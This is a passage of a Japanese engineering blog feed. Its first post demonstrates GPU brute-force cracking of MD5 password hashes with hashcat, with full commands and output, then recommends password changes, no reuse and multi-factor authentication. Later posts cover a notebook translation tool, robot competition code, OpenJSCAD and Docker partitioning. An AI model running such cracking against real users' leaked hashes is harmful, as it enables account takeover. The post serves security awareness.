<g id="edge4" class="edge"><title>ハッシュ関数2&#45;&gt;ハッシュ値2</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M298.534,-89.8701C306.512,-89.8701 315.047,-89.8701 323.736,-89.8701"/>
<polygon fill="black" stroke="black" points="323.984,-93.3702 333.984,-89.8701 323.984,-86.3702 323.984,-93.3702"/>
</g>
</g>
</svg>
</div>


<p>ハッシュ関数は逆の推定ができませんが、順方向の計算はできます。
ありとあらゆる文字列のパターンに対して順方向の計算を行いハッシュ値との比較を行うことで、いつか一致する文字列が見つかるだろう、というまさにチカラワザを使うわけです。</p>

<h1>hashcatによるパスワード解読のデモ</h1>

<p>原理的には確かにパスワード解読ができるブルートフォース攻撃ですが、特にパスワードが長い場合には天文学的な計算量が必要になり、実用的ではないと考えられていました。
しかし、近年だいぶ事情が変わりつつあります。</p>

<p>近年注目されているコンピュータ技術にGPUがあります。
GPUは元は3次元グラフィックを扱うための専用プロセッサだったのですが、計算を並列化して大量に処理できることから、人工知能分野で利用され様々な成果をあげています。
この特徴はパスワード解読でも非常に強力な武器になります。</p>

<p>これから紹介する「hashcat」はGPUを使ったブルートフォース攻撃を行うためのソフトウェアです。</p>

<p>hashcatを利用するにはOpenCLライブラリが必要です。
UbuntuとNvidia GPUの組み合わせを使っている場合、以下のコマンドを入力すると最新のOpenCLをインストールできます。</p>

<pre><code>$ sudo add-apt-repository ppa:graphics-drivers/ppa
$ sudo apt-get update
$ sudo apt-get install nvidia-375 nvidia-opencl-dev
</code></pre>

<p>次にhashcatをダウンロードしてコンパイルします。</p>

<pre><code>$ git clone https://github.com/hashcat/hashcat.git
$ cd hashcat/
$ make
</code></pre>

<p>無事にコンパイルができてOpenCLが認識されると、以下のコマンドに対して以下のように出力されるはずです。</p>

<pre><code>$ ./hashcat -I
hashcat (v3.20-88-gd36cc4c) starting...

OpenCL Info:

Platform ID #1
  Vendor  : NVIDIA Corporation
  Name    : NVIDIA CUDA
  Version : OpenCL 1.2 CUDA 8.0.0

  Device ID #1
    Type           : GPU
    Vendor ID      : 32
    Vendor         : NVIDIA Corporation
    Name           : GeForce GTX 750 Ti
    Version        : OpenCL 1.2 CUDA
    Processor(s)   : 5
    Clock          : 1084
    Memory         : 499/1998 MB allocatable
    OpenCL Version : OpenCL C 1.2 
    Driver Version : 375.26
</code></pre>

<p>今回使うのはNvidia GTX 750Tiという、今では1万円程度で買える非常に安価なGPUです。</p>

<p>動作が確認できたら、どの程度の性能が出るかベンチマークを走らせてみます。</p>

<pre><code>$ sudo ./hashcat -b                                                                                                                               
hashcat (v3.20-88-gd36cc4c) starting in benchmark mode...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 750 Ti, 499/1998 MB allocatable, 5MCU

Hashtype: MD4

Speed.Dev.#1.....:  6968.2 MH/s (48.10ms)

Hashtype: MD5

Speed.Dev.#1.....:  3782.7 MH/s (88.68ms)

Hashtype: Half MD5

Speed.Dev.#1.....:  2337.8 MH/s (71.73ms)

Hashtype: SHA1

Speed.Dev.#1.....:  1287.2 MH/s (65.14ms)

Hashtype: SHA256

Speed.Dev.#1.....:   457.3 MH/s (91.33ms)

（省略）
</code></pre>

<p>単位が「MH/s」になっていますが、これは「Mega Hash per second」の意味で、例えばMD5ハッシュの場合、このGPUは毎秒3,782,700,000回のハッシュ計算ができるということです。
この数が大きければ大きいほど秒間にできるブルートフォース攻撃の試行回数を増やせるため、より高速にパスワードが解読できることになります。</p>

<p>毎秒3,782,700,000回もハッシュ計算ができると、案外、簡単にパスワードが解読できてしまいます。試しにパスワードを解読してみましょう。</p>

<p>以下のようにして、ある文字列からMD5ハッシュを計算します。</p>

<pre><code>$ echo -n "hoge" | md5sum
ea703e7aa1efda0064eaa507d9e8ab7e  -
</code></pre>

<p>「ea703e7aa1efda0064eaa507d9e8ab7e」の部分がハッシュ値です。</p>

<p>hashcatを使ってブルートフォース攻撃によりハッシュ値を解読するために以下のコマンドを入力します。</p>

<ul>
<li>「-m 0」はMD5ハッシュを使うオプションです（hashcatはMD5以外にも様々なハッシュ関数に対応しています）</li>
<li>「-a 3」はブルートフォース攻撃を行うためのオプションです（この記事では触れませんが辞書攻撃も可能です）</li>
<li>試行する文字列は長さ1から一つずつ伸ばしていきます（「&ndash;increment &ndash;increment-min=1」オプション）</li>
<li>文字種は小文字英字、大文字英字、数字の組み合わせで最大8文字まで伸ばします（「-1 ?l?u?d ?1?1?1?1?1?1?1?1」オプション）</li>
</ul>


<pre><code>$ ./hashcat -m 0 -a 3 --increment --increment-min=1 ea703e7aa1efda0064eaa507d9e8ab7e -1 ?l?u?d ?1?1?1?1?1?1?1?1
hashcat (v3.20-88-gd36cc4c) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 750 Ti, 499/1998 MB allocatable, 5MCU

（中略）

ea703e7aa1efda0064eaa507d9e8ab7e:hoge                     

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: ea703e7aa1efda0064eaa507d9e8ab7e
Time.Started.....: Mon Jan  2 15:31:58 2017 (0 secs)
Time.Estimated...: Mon Jan  2 15:31:58 2017 (0 secs)
Input.Mask.......: ?1?1?1?1 [4]
Input.Charset....: -1 ?l?u?d, -2 Undefined, -3 Undefined, -4 Undefined 
Input.Queue......: 4/8 (50.00%)
Speed.Dev.#1.....: 43831.8 kH/s (2.07ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 7388168/14776336 (50.00%)
Rejected.........: 0/7388168 (0.00%)
Restore.Point....: 0/238328 (0.00%)
Candidates.#1....: sari -&gt; oXvZ
HWMon.Dev.#1.....: Temp: 45c Fan: 41% Util: 71% Core:1163Mhz Mem:2700Mhz Lanes:16

Started: Mon Jan  2 15:31:56 2017
Stopped: Mon Jan  2 15:31:58 2017
</code></pre>

<p>「Started」「Stopped」の時刻からわかるように、2秒で元の文字列「hoge」が解読できてしまいました。</p>

<p>「hoge」はさすがに簡単過ぎだろうということで、今度は複数の文字種が混じった標準的な長さ（8文字）のパスワードで試してみます。</p>

<pre><code>$ echo -n "31EhJTkV" | md5sum
0de24d0f652a4818f5ca124fa00a0d37  -
</code></pre>

<p>解読してみましょう。</p>

<pre><code>$ ./hashcat -m 0 -a 3 --increment --increment-min=1 0de24d0f652a4818f5ca124fa00a0d37 -1 ?l?u?d ?1?1?1?1?1?1?1?1
hashcat (v3.20-88-gd36cc4c) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 750 Ti, 499/1998 MB allocatable, 5MCU

（中略）

0de24d0f652a4818f5ca124fa00a0d37:31EhJTkV                 

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 0de24d0f652a4818f5ca124fa00a0d37
Time.Started.....: Mon Jan  2 15:52:21 2017 (16 hours, 11 mins)
Time.Estimated...: Tue Jan  3 08:03:23 2017 (0 secs)
Input.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Input.Charset....: -1 ?l?u?d, -2 Undefined, -3 Undefined, -4 Undefined 
Input.Queue......: 8/8 (100.00%)
Speed.Dev.#1.....:  3625.6 MH/s (11.15ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 210995172147200/218340105584896 (96.64%)
Rejected.........: 0/210995172147200 (0.00%)
Restore.Point....: 885145600/916132832 (96.62%)
Candidates.#1....: saZJlXnZ -&gt; flFouHfQ
HWMon.Dev.#1.....: Temp: 80c Fan: 54% Util: 97% Core:1163Mhz Mem:2700Mhz Lanes:16

Started: Mon Jan  2 15:35:49 2017
Stopped: Tue Jan  3 08:03:24 2017
</code></pre>

<p>と、16時間30分ほどの時間がかかりましたが無事に元の文字列「31EhJTkV」が解読できました。</p>

<p>8文字パスワードの解読に16時間30分、という結果を長いと考えるか短いと考えるかですが、長そうに見えて実は一日以下しかかかっていません。
また、今回使ったのは1万円程度で買える非常に安価なGPUである、ということもあわせて考えてみてください（攻撃側が使うGPUの性能については次で紹介します）。</p>

<h1>暗号化されたパスワードを含むアカウント情報が漏洩したらどうすればよいか？</h1>

<p>デモからわかったように「暗号化されたパスワードを含むアカウント情報が漏洩した」ら、例え複雑なパスワードを設定していたとしても「まもなくパスワードは解読される」と考えるべきです。</p>

<p>元のパスワードが解読されるのは時間の問題で、その時間はあまりかからなくなっています。</p>

<p>今回は安価なGPUを1個だけ搭載したコンピュータを使いましたが、GPUの性能は日進月歩で上がっており、またコンピュータに複数搭載することもできます。
Google画像検索で「gpu bruteforce」で検索すると、GPUブルートフォースを行うために8つのスロットすべてにGPUを搭載したコンピュータの写真が大量に出てきます。</p>

<p><a href="https://www.google.co.jp/search?q=gpu+bruteforce&amp;tbm=isch">https://www.google.co.jp/search?q=gpu+bruteforce&amp;tbm=isch</a></p>

<p>以下のURLにNvidia GTX 1080を8枚搭載したコンピュータのベンチマークが公開されています。</p>

<p><a href="https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40">https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40</a></p>

<p>MD5ハッシュの項目を比較すると、</p>

<pre><code>Hashtype: MD5

Speed.Dev.#1.: 24943.1 MH/s (97.53ms)
Speed.Dev.#2.: 24788.6 MH/s (96.69ms)
Speed.Dev.#3.: 25022.2 MH/s (97.76ms)
Speed.Dev.#4.: 25106.6 MH/s (97.42ms)
Speed.Dev.#5.: 25114.1 MH/s (97.42ms)
Speed.Dev.#6.: 24924.1 MH/s (97.30ms)
Speed.Dev.#7.: 25197.9 MH/s (97.30ms)
Speed.Dev.#8.: 25246.4 MH/s (97.00ms)
Speed.Dev.#*.:   200.3 GH/s
</code></pre>

<p>GPU 8個の合計で「200.3 GH/s」という結果が出ており、今回デモで使ったコンピュータの約50倍の性能です。
ブルートフォース攻撃にかかる時間は単位時間にできる試行回数に比例しますから、今回の8文字パスワードの場合は約20分で解けることになります。</p>

<p>攻撃側はこのような強力な計算機を24時間体制で、場合によっては複数台稼働させて元のパスワードを解読しようとします。
また今回は一つのハッシュだけを解読しましたが、実際は漏洩した大量のハッシュを一度に解析できるのですから、ハッシュはそれこそ面白いように次々と解けていくはずです。</p>

<p>では、暗号化されたパスワードを含むアカウント情報が漏洩したらどうすればよいのでしょうか？
以下の各対応が有効です。</p>

<h2>パスワードをすぐに変更しよう</h2>

<p>アカウント情報漏洩のニュースを聞いたらパスワードをすぐに変更しましょう。
解読される前にパスワードを変えてしまえば被害を受けることはありません。</p>

<p>ただし、アカウント情報漏洩の発見自体が遅れたケース（近年このケースが増えています）ではこの対応をしてもアカウントはハッキングされてしまいます。
後述する「多要素（2要素）認証」の方が有効な対策です。</p>

<h2>パスワードの使いまわしはやめよう</h2>

<p>攻撃者はパスワードが解読できると、そのパスワードを使って漏出元のサイトだけでなく他のサイトへのログインも試行します。
なぜなら、多くのユーザが複数のサイトで同じパスワードを使いまわしていることを知っているからです。</p>

<p>パスワードは各サイトで別のものを設定しましょう。</p>

<p>複数のパスワードを覚えるのが難しい場合はlastpassなどのパスワードマネージャを使いましょう。
パスワードマネージャを使うことにはセキュリティ上のリスクもありますが、覚えられなくて同じパスワードを設定するよりも大分マシです。
覚えられるパスワードの長さは8文字あたりからつらくなってくると思いますが、パスワードマネージャを使えばそれよりも長いパスワードを設定して、漏洩が起こった際の解読までの時間稼ぎをすることもできます。</p>

<h2>多要素（2要素）認証を有効化しよう</h2>

<p>「多要素（2要素）認証」はパスワード認証を行ったあとにSMSや専用アプリでワンタイムパスワードを発行し、通常のパスワードに加えてそのパスワードを入力しないとログインできなくする認証方式です。
複数の要素（パスワードに加えてSMSなど）を使うことから多要素認証と呼ばれています。</p>

<p>GPUブルートフォースの登場でパスワードの信頼性が崩壊しかけている昨今ですが、多要素認証に対する強力な攻撃手法はまだ見つかっていないことからセキュリティを高く確保することができます。</p>

<p>各サービスに対する多要素認証の設定方法は以下の各URLを参照してください。</p>

<p>Google Accountの多要素認証の設定方法
  <a href="https://www.google.com/landing/2step/">https://www.google.com/landing/2step/</a></p>

<p>Facebookの多要素認証の設定方法（英語）
  <a href="https://www.facebook.com/notes/facebook-engineering/introducing-login-approvals/10150172618258920/">https://www.facebook.com/notes/facebook-engineering/introducing-login-approvals/10150172618258920/</a></p>

<p>Dropboxの多要素認証の設定方法
  <a href="https://www.dropbox.com/ja/help/363">https://www.dropbox.com/ja/help/363</a></p>

<p>Evernoteの多要素認証の設定方法
  <a href="https://evernote.com/intl/jp/contact/support/info/2fa/">https://evernote.com/intl/jp/contact/support/info/2fa/</a></p>

<p>マイクロソフトアカウント（Onedrive）の多要素認証の設定方法
  <a href="https://support.microsoft.com/ja-jp/help/12408/microsoft-account-about-two-step-verification">https://support.microsoft.com/ja-jp/help/12408/microsoft-account-about-two-step-verification</a></p>

<h1>最近ニュースになったアカウント情報漏洩</h1>

<p>過去の大規模なアカウント漏洩事件を受けて多くの組織はパスワードの保存にbcrypt暗号を使うようになっています。
bcryptはハッシュ関数というよりは暗号化アルゴリズムの軽量版というべきもので、MD5などのハッシュ関数に比べて計算（解読）に多くの時間がかかる、という特徴があります。
また、処理が複雑なのでGPUがうまく使えずCPUで処理せざるを得ないため、単体のコンピュータでの計算の並列性は低くなります。</p>

<p>ただし、攻撃側はクラスタマシンを使ってCPUを並列化して解読しようとしますので、時間稼ぎにはなるものの解かれなくなるわけではない、という点に注意しましょう。</p>

<p>yahoo.comのアカウント情報漏洩（5億件, bcrypt暗号）
  <a href="http://www.businesswire.com/news/home/20160922006198/en/">http://www.businesswire.com/news/home/20160922006198/en/</a></p>

<p>dropboxのアカウント情報漏洩（6800万件, saltつきbcrypt暗号）
  <a href="http://www.itmedia.co.jp/enterprise/articles/1609/01/news073.html">http://www.itmedia.co.jp/enterprise/articles/1609/01/news073.html</a></p>

<p>ebayのアカウント情報漏洩（1.6億件, saltつきハッシュ）
  <a href="http://info.rippleshot.com/blog/ebay">http://info.rippleshot.com/blog/ebay</a></p>

<p>adobeのアカウント情報漏洩（3800万件, ハッシュ方式未公開、パスワードヒントを含む）
  <a href="https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/">https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Jupyter(ipython) Notebookをgettext翻訳するツールを公開します]]></title>
    <link href="https://tech.mid-japan.com/blog/2016/12/13/nbtranslate/"/>
    <updated>2016-12-13T13:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2016/12/13/nbtranslate</id>
    <content type="html"><![CDATA[<p>jupyter(ipython) notebookのコンテンツをgettext翻訳するツールを作りましたので公開します。</p>

<p>このツールを使うことで以下のようなコンテンツが</p>

<p><a href="http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-ja.ipynb">http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-ja.ipynb</a></p>

<p>このように翻訳できます。</p>

<p><a href="http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-en.ipynb">http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-en.ipynb</a></p>

<p>上記は日本語から英語の例ですが、任意の言語間で翻訳ができます。</p>

<!-- more -->


<h1>nbtranslate</h1>

<p>jupyter(ipython) notebookのコンテンツをgettext翻訳するツール。</p>

<h2>インストール</h2>

<pre><code>$ git clone https://github.com/devrt/nbtranslate.git
$ cd nbtranslate
$ sudo pip install -r requirements.txt
$ sudo ./setup.py install
</code></pre>

<p>または</p>

<pre><code>$ pip install git+https://github.com/devrt/nbtranslate.git
</code></pre>

<h2>使い方</h2>

<p>翻訳したいテキストをpot形式で抽出する。</p>

<pre><code>$ nbtranslate --pot en.pot notebook_en.ipynb
</code></pre>

<p><code>en.pot</code>をお好きなgetext翻訳ツールを使って翻訳してください
(私のおすすめは<a href="https://poedit.net/">poedit</a>または<a href="https://translate.google.com/toolkit/">google translator toolkit</a>です).</p>

<p>翻訳した結果を<code>entoja.po</code>にセーブした後、以下のコマンドで翻訳済みコンテンツを生成します:</p>

<pre><code>$ nbtranslate --po entoja.po notebook_en.ipynb &gt; notebook_ja.ipynb
</code></pre>

<h2>ライセンス</h2>

<p>New-BSD</p>

<p>by Yosuke Matsusaka, MID Academic Promotions Inc.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[JVRC優勝モデルMIDJAXONのソースコードを公開します]]></title>
    <link href="https://tech.mid-japan.com/blog/2015/10/13/jvrc-midjaxon-sourcecode/"/>
    <updated>2015-10-13T16:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2015/10/13/jvrc-midjaxon-sourcecode</id>
    <content type="html"><![CDATA[<p>10月7日から10日の日程でJVRC(Japan Virtual Robotics Challenge)が開催され、MIDとして参戦してきました。</p>

<p>利用したロボットはCreative Commonsライセンスで公開されているJAXONを改変（派生）させたMIDJAXONというロボットで上半身はヒューマノイド型、下半身はクローラー型の形をしています。</p>

<p><img class="center" src="https://tech.mid-japan.com/images/jvrc-midjaxon/midjaxon.png"></p>

<p>成績はというと、全チーム中最高得点をとり総合優勝、更にチャレンジタスクへのチャレンジが認められJVRC賞も同時受賞、ということで最高の結果を残すことができました。</p>

<p>以下のサイトで競技終了後の技術交流会の様子を見ることができます。</p>

<p><a href="http://www.ustream.tv/recorded/75191534">http://www.ustream.tv/recorded/75191534</a></p>

<p>技術交流会でも言っているのですが、結果から見ると1位下半身クローラー型、2位クローラー型、3位ヒューマノイド型、でクローラー型が有利かと思われがちなのですが、公式の順位からは実はAIST-NEDO、NEDO-JSK、NEDO-HydraのDRC参加組が外されており、DRC参加組も含めた「裏順位」は、1位下半身クローラー型(MID)、2位ヒューマノイド型(AIST-NEDO)、3位ヒューマノイド型（NEDO-JSK）と初日に僅差でAIST-NEDOに勝っていたMIDがヒューマノイド勢の猛追を逃げ切ったという形になっており、まったくもってクローラー型が有利というわけではありません。制御しきることができればヒューマノイド型の勝ち、そこからクローラー型の安定性を活かした操縦で逃げ切った、というのが本当のところですので、今後のロボット設計の参考にしていただければと思います。</p>

<p>ともあれ、大会出場前に大会で使ったソースコードの公開を約束していたので、以下に公開します。</p>

<!-- more -->


<p>MIDJAXONのシミュレーションモデルはNEDO-JSKがJAXONを公開してくれているgithubレポジトリのフォークとして登録してあります。Creative CommonsライセンスのJAXONを派生させましたのでライセンスはやはりCreative Commonsです。</p>

<p><a href="https://github.com/devrt/rtmros_choreonoid">https://github.com/devrt/rtmros_choreonoid</a></p>

<p>MIDJAXONの制御プログラムは以下のレポジトリに登録しました。</p>

<p><a href="https://github.com/devrt/midjaxon-controller">https://github.com/devrt/midjaxon-controller</a></p>

<p>ソースコードの使い方ですが、まず、RTMでヒューマノイドの制御をしようとするとomniORBの通信を大量に使うので以下のコマンドを入力して通信の制約をゆるめます（各ターミナルで入力するのは面倒なので.bashrcなどに書いておくと良いです）。</p>

<pre><code>$ export ORBgiopMaxMsgSize=2097152000
</code></pre>

<p>次にChoreonoid, OpenRTM-aist, hrpsys-baseなどRTMのパッケージをインストールします。</p>

<pre><code>$ sudo add-apt-repository ppa:hrg/daily
$ sudo apt-get update
$ sudo apt-get install choreonoid choreonoid-jvrc-plugin openrtm-aist-dev openrtm-aist-python hrpsys-base openhrp
</code></pre>

<p>MIDJAXONでは操作インターフェースにROSのrvizを使っているのでROSもインストールします。</p>

<pre><code>$ sudo sh -c 'echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" &gt; /etc/apt/sources.list.d/ros-latest.list'
$ sudo apt-key adv --keyserver hkp://pool.sks-keyservers.net --recv-key 0xB01FA116
$ sudo apt-get update
$ sudo apt-get install ros-indigo-desktop ros-indigo-rviz ros-indigo-rtmros-common ros-indigo-zbar-ros
</code></pre>

<p>rtmros-commonは東大JSKで開発されているRTMのデータ型をROSに変換するブリッジパッケージです。zbar-rosはJVRCで課題となるマーカの認識をしてくれるパッケージです。</p>

<p>更に以下のパッケージもインストールします。</p>

<pre><code>$ sudo apt-get install python-wstool python-catkin-tools
</code></pre>

<p>wstoolとcatkinはgithubで公開された最新のROSパッケージを利用するためのユーティリティコマンドです。</p>

<p>パッケージのインストールが終わったらcatkin用のワークスペースを作成します。</p>

<pre><code>$ source /opt/ros/indigo/setup.bash
$ mkdir -p catkin_ws/src
$ cd catkin_ws/src
$ wstool init
$ source ~/catkin_ws/devel/setup.bash
</code></pre>

<p>作成したワークスペースに各最新catkinパッケージをチェックアウトします。</p>

<pre><code>$ cd catkin_ws/src
$ wstool set rtmros_common https://github.com/start-jsk/rtmros_common.git --git
$ wstool set rtmros_tutorials https://github.com/start-jsk/rtmros_tutorials.git --git 
$ wstool set rtmros_choreonoid https://github.com/devrt/rtmros_choreonoid.git --git
$ wstool update
</code></pre>

<p>最後のrtmros_choreonoidだけ、start-jskではなくdevrtのものを使うことに注意してください。</p>

<p>catkinコマンドを使って最新のrtmrosブリッジをビルドします。</p>

<pre><code>$ cd catkin_ws
$ catkin build hrpsys_ros_bridge
</code></pre>

<p>rvizを使うにはVRMLフォーマットで書かれたロボットモデルをROSのURDF形式に変換する必要があります。そのために、まずはモデル変換ツール「simtrans」をインストールします。</p>

<pre><code>$ sudo apt-get install meshlab imagemagick
$ git clone https://github.com/fkanehiro/simtrans.git
$ cd simtrans
$ sudo pip install -r requirements.txt
$ suto python setup.py install
</code></pre>

<p>次にsimtransを使ってモデルを変換します。</p>

<pre><code>$ roscd hrpsys_ros_bridge_jvrc/models
$ ./convert-midjaxon.sh
</code></pre>

<p>ROSの世界のセットアップ作業は以上ですので次にRTMで書かれた制御部分をセットアップします。</p>

<p>まずは、制御部分をチェックアウトします。</p>

<pre><code>$ git clone https://github.com/devrt/midjaxon-controller.git
</code></pre>

<p>次に制御部分をコンパイルします。</p>

<pre><code>$ cd midjaxon-controller
$ make
</code></pre>

<p>makeした結果、PDcontroller.soとMidJaxonController.soの2つのファイルができていることを確認してください。</p>

<p>/usr/lib/choreonoid-1.5/rtc以下に各ファイルをコピーします。</p>

<pre><code>$ sudo make install
</code></pre>

<p>これでRTM側のセットアップも完了ですのでシステムを起動してみましょう。O1タスクを起動するには以下のコマンドを入力します。</p>

<pre><code>$ cd midjaxon-controller
$ ./setup.py O1
</code></pre>

<p>起動が進むとroscoreへの接続待ちの状態になりますので、別のターミナルを開いて以下のコマンドを入力します。</p>

<pre><code>$ cd midjaxon-controller
$ ./launchrviz.sh
</code></pre>

<p>無事に立ち上げが終わると以下のような操作画面が出てくるはずです。</p>

<p><img class="center" src="https://tech.mid-japan.com/images/jvrc-midjaxon/midjaxon-rviz.png"></p>

<p>操作にはアナログスティック2本を搭載したゲームパッドが必要で、MIDでは以下の製品を使っています。</p>

<p><a href="http://www2.elecom.co.jp/peripheral/gamepad/jc-u2912f/">http://www2.elecom.co.jp/peripheral/gamepad/jc-u2912f/</a></p>

<p>同型でなくても似た形の製品であれば同様に使えるはずです。Linuxで認識されるデバイス名はセットアップスクリプト（setup.py）にハードコードされていますので、MIDの環境と違う場合は当該箇所を書き換えてください。ゲームパッドを接続したらアナログモードにするのを忘れないでください（私はよく忘れます）。アナログスティック二本で左右のクローラーの前後、人差し指のボタン4個でフリッパーの上下が制御できます。</p>

<p>アームの操作などはsetup.py起動後に出るipythonのプロンプトでコマンド入力します。コマンドの一部を紹介すると、「leftcontrol()」は左のアームの逆運動学ベースの制御、「leftgrasp(0.3)」は左の手を閉じる、「headyaw(math.pi/2)」は真左を見る、「goactual()」は初期姿勢に戻る、「recover()」はコケた時のリカバリ、などとなっています。ipythonはこれ以外にも通常のPythonコマンドも入れることができるので、公開練習中などはこのプロンプトを使ってライブコーディングの形で機能を増やしていっていました。</p>

<p>物理シミュレーション、カメラ、レーザレンジファインダのシミュレーションなどが入っているため、PCの要求スペックは高めです。MIDではGPUはNvidiaのGeForce GTX750Ti、CPUはAMDの8-coreプロセッサを使っています。</p>

<p>長くなってしまったのでプログラム本体の説明についてはまた次回書こうと思っていますが、主に使っているのはhrpsys-baseの各種モジュール（コンポーネント）、rtmros-commonパッケージ、rvizで、それに以下の独自部分を書き足しています。</p>

<p>setup.py : Pythonで書かれたrtm.pyとrospyを使った上位レベルの制御インターフェース (BSD licenseで公開します)。各種コンポーネントの起動と接続もここでやっています。</p>

<p>MidJaxonController.[cpp,h] : C++で書かれた下位レベルのリアルタイム制御モジュール (BSD licenseで公開します)。setup.pyからchoreonoidに内蔵されたrtcdを経由してロードされます。</p>

<p>PDcontrollerMIDJAXON.[cpp,h] : hrpsys-baseからフォーク（クローラー用の等速制御を追加）したPD制御モジュール (hrpsys-base license)。choreonoidからBodyRTCアイテムを経由してロードされます。</p>

<p>最後に、JVRCは大変たのしく有意義な大会でした。運営に関わった方々の尽力に感謝すると共に、次回開催を心より願っております。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[OpenJSCADを使ったシミュレーションモデル開発]]></title>
    <link href="https://tech.mid-japan.com/blog/2015/07/09/openjscad-vrml/"/>
    <updated>2015-07-09T11:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2015/07/09/openjscad-vrml</id>
    <content type="html"><![CDATA[<p><a href="https://github.com/Spiritdude/OpenJSCAD.org/">OpenJSCAD</a>は、プログラミング感覚で3Dモデルを作成できるOpenSCADをWebGL技術を使ってブラウザ上で動くようにしたライブラリです。</p>

<p><a href="http://www.openscad.org/cheatsheet/">OpenSCAD言語</a>以外にもJavaScriptを使ってモデル開発することができます。</p>

<p>今回、OpenJSCADを使ってロボットシミュレーションモデルが作成できるようにVRMLモデル出力機能を実装したものを以下のURLで公開開始しました。</p>

<p><a href="http://devrt.tk/openjscad/">http://devrt.tk/openjscad/</a></p>

<p>キャタピラらしきモデルを作成中の図</p>

<p><img class="center" src="https://tech.mid-japan.com/images/openjscad-vrml/openjscad.png"></p>

<p>VRMLへのエクスポートは以下のボタンから</p>

<p><img class="center" src="https://tech.mid-japan.com/images/openjscad-vrml/export-vrml.png"></p>

<p>Choreonoidに読み込んだ図(モデルの寸法が大きすぎた、、、)</p>

<p><img class="center" src="https://tech.mid-japan.com/images/openjscad-vrml/choreonoid.png"></p>

<p>勢いでジャパンバーチャルロボティクスチャレンジ(<a href="https://jvrc.org/">https://jvrc.org/</a>)に申し込んでしまい、今頃いそいそとモデルを作っているわけです。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[手を動かしながら学ぶ画像からの位置姿勢推定]]></title>
    <link href="https://tech.mid-japan.com/blog/2014/09/25/object-segmentation/"/>
    <updated>2014-09-25T11:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2014/09/25/object-segmentation</id>
    <content type="html"><![CDATA[<p>工場でのピッキング作業を想定したシミュレーションモデルの公開を開始しました。</p>

<p><a href="http://devrt.tk/build/repo/54237a608ec2f07bded7cf2d"><img src="http://devrt.tk/build/repo/54237a608ec2f07bded7cf2d.gif" alt="Build Status" /></a></p>

<p>この教材を使って今回は画像処理を使った位置姿勢推定について解説します。</p>

<p>ipython notebookを使って実際に手を動かしながら学べる解説になっていますので、ぜひ遊んでみてください。</p>

<p>では、以下のURLへ飛んでください。
<a href="http://devrt.tk/note/github/devrt/world-robot-picking/blob/master/noteboooks/object-segmentation-ja.ipynb">http://devrt.tk/note/github/devrt/world-robot-picking/blob/master/noteboooks/object-segmentation-ja.ipynb</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Dockerで実現するリアルタイムシステムのためのプロセスパーティショニング]]></title>
    <link href="https://tech.mid-japan.com/blog/2014/08/30/docker-partitioning/"/>
    <updated>2014-08-30T11:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2014/08/30/docker-partitioning</id>
    <content type="html"><![CDATA[<p>「パーティショニング」はリアルタイムシステムや高信頼システムを構築する上で、あると便利なプロセスを隔離する機能です。</p>

<p>今回は「Docker」の内部で使われているLinux軽量コンテナ技術を使って簡易的なパーティショニングを実現します。</p>

<p>DockerはWebの世界で極めて高い注目を集めている強力なコンテナ構築環境です。知能ロボットなど複雑なソフトウェアの組み合わせからなるリアルタイムシステム構築でもその強力な機能が使える可能性を示すことができればと思います。</p>

<!-- more -->


<p>リアルタイムというと「とにかく処理を速くする」というイメージがあるかもしれませんが、ロボットにおけるリアルタイムとは「処理を決められた時間に始めて決められた時間までに確実に終わらせること」を指します。例えば、自動走行車における操舵やブレーキは時間に遅れてしまうと事故を招きます、これはリアルタイムです。一方で、ビットコインのマイニングのような処理は非常に高速な計算ではありますが、時間についての要求は甘いのでリアルタイムではありません（同じコインを争って見つけようとしている場合はリアルタイムになりえますが）。</p>

<p>リアルタイムシステムを考える場合、ソフトウェアをその処理に必要なCPUパワーこみで考える必要があります。ソフトウェア開発においては</p>

<p>モジュール＝アルゴリズム＋データ構造（＝プログラム）</p>

<p>ですが、リアルタイムシステムにおいては</p>

<p>モジュール＝プログラム＋プロセッシングパワー</p>

<p>と考えてシステムを設計していく必要があるのです。</p>

<p>知能ロボットを開発していると、開発の過程で機能を高度化させようとしてソフトウェアモジュールを足したところ、リアルタイム性が崩れてしまい、システム全体としてうまく動作しなくなってしまうということが良く起ります。</p>

<p>そのような時に浮かぶのが「プログラム＋それを実行するのに必要なプロセッシングパワー」を組でシステムに追加できるようにしてしまえば理想的にシステム拡張できるのではないか、というアイディアです。</p>

<p>安西先生、山崎先生のASPIRE
<a href="http://ci.nii.ac.jp/naid/110002873424">http://ci.nii.ac.jp/naid/110002873424</a></p>

